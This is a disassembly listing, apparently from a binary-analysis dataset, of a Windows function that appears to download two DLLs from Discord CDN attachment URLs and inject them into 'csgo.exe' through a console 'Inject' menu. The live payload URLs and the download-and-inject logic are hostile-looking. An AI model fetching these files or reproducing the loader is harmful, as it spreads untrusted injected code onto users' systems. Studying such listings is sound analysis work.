Function at 0x4031d0
Capabilities:
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40611d
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push str.https:__cdn.discordapp.com_attachments_1137456149508149258_1275459423782961173_system84.dll_ex66c5f7a7is66c4a627hm42990fdfae122983fc15774acd9a3fb06df24a27d14c28fc57e9bc28590190e4
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.004030e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x58]
push 0xb1
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push str.https:__cdn.discordapp.com_attachments_1137456149508149258_1275458064467890237_3.dll_ex66c5f663is66c4a4e3hmca4cb14f5c11e7d8279940765d96decb0885c34b0147ae18281e408a3415b74d
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
call fcn.004030e0
mov byte [ebp - 4], 1
mov edi, dword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
push 0x40767c
call esi
add esp, 4
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
push 0x3bf
push str._n______________________________________________________________________________n________________________________________________________________________n_________________________________________________________________________n_____________________________________________________________________n_______________________________________________________________________n___________________________________________________________________n________________________________________________________________n_______________________________________________________________________n_____________________________________________________________________________n____________________________________________________________________________n______________________________________________________________________________n_________________________________________________________________________n___________________________n
call fcn.004030e0
mov byte [ebp - 4], 2
lea edx, [ebp - 0x28]
cmp dword [ebp - 0x14], 0xf
push dword [ebp - 0x18]
cmova edx, dword [ebp - 0x28]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00402840
add esp, 4
mov ecx, eax
push 0x402420
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [0x40a580], 0xf
mov edx, 0x40a56c
push dword [0x40a57c]
cmova edx, dword [0x40a56c]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00402840
mov edx, str._1__Inject
mov ecx, eax
call fcn.00402200
cmp dword [0x40a538], 0xf
mov edx, 0x40a524
push dword [0x40a534]
cmova edx, dword [0x40a524]
mov ecx, eax
call fcn.00402840
add esp, 8
mov ecx, eax
push 0x402420
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x14]
cmp edx, 0xf
jbe 0x403352
mov eax, dword [ebp - 0x28]
inc edx
mov ecx, eax
cmp edx, 0x1000
jb 0x403348
mov eax, dword [ecx - 4]
add edx, 0x23
sub ecx, eax
add ecx, 0xfffffffc
cmp ecx, 0x1f
ja 0x403367
push edx
push eax
call fcn.004050cf
add esp, 8
call edi
push 0x40767c
cmp al, 0x31
je 0x40336d
call esi
add esp, 4
jmp 0x403260
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call esi
add esp, 4
lea edi, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x58]
cmova edi, dword [ebp - 0x40]
cmp dword [ebp - 0x44], 0xf
cmova eax, dword [ebp - 0x58]
mov ecx, eax
mov dword [ebp - 0x5c], eax
call fcn.004018d0
test al, al
jne 0x4033fb
cmp dword [0x40a550], 0xf
mov edx, 0x40a53c
push dword [0x40a54c]
cmova edx, dword [0x40a53c]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00402840
mov edx, str.____ERROR___CODE:_0x01
mov ecx, eax
call fcn.00402200
cmp dword [0x40a538], 0xf
mov edx, 0x40a524
push dword [0x40a534]
cmova edx, dword [0x40a524]
mov ecx, eax
call fcn.00402840
add esp, 8
mov ecx, eax
push 0x402420
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x403494
mov ecx, edi
call fcn.004018d0
test al, al
jne 0x403431
cmp dword [0x40a550], 0xf
mov edx, 0x40a53c
push dword [0x40a54c]
cmova edx, dword [0x40a53c]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00402840
mov edx, str.____ERROR___CODE:_0x21
jmp 0x4033bf
mov ecx, dword [ebp - 0x5c]
call fcn.00403790
test eax, eax
jne 0x403494
push 1
push ecx
mov edx, str.csgo.exe
mov ecx, edi
call fcn.00401c40
add esp, 8
push 0x64
test eax, eax
jne 0x403489
mov esi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x1f4
call esi
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], 0x64
mov dword [ebp - 0x5c], 0
call fcn.00402450
push 0x64
push 0x1f4
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Beep]
push str.PAUSE
call esi
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]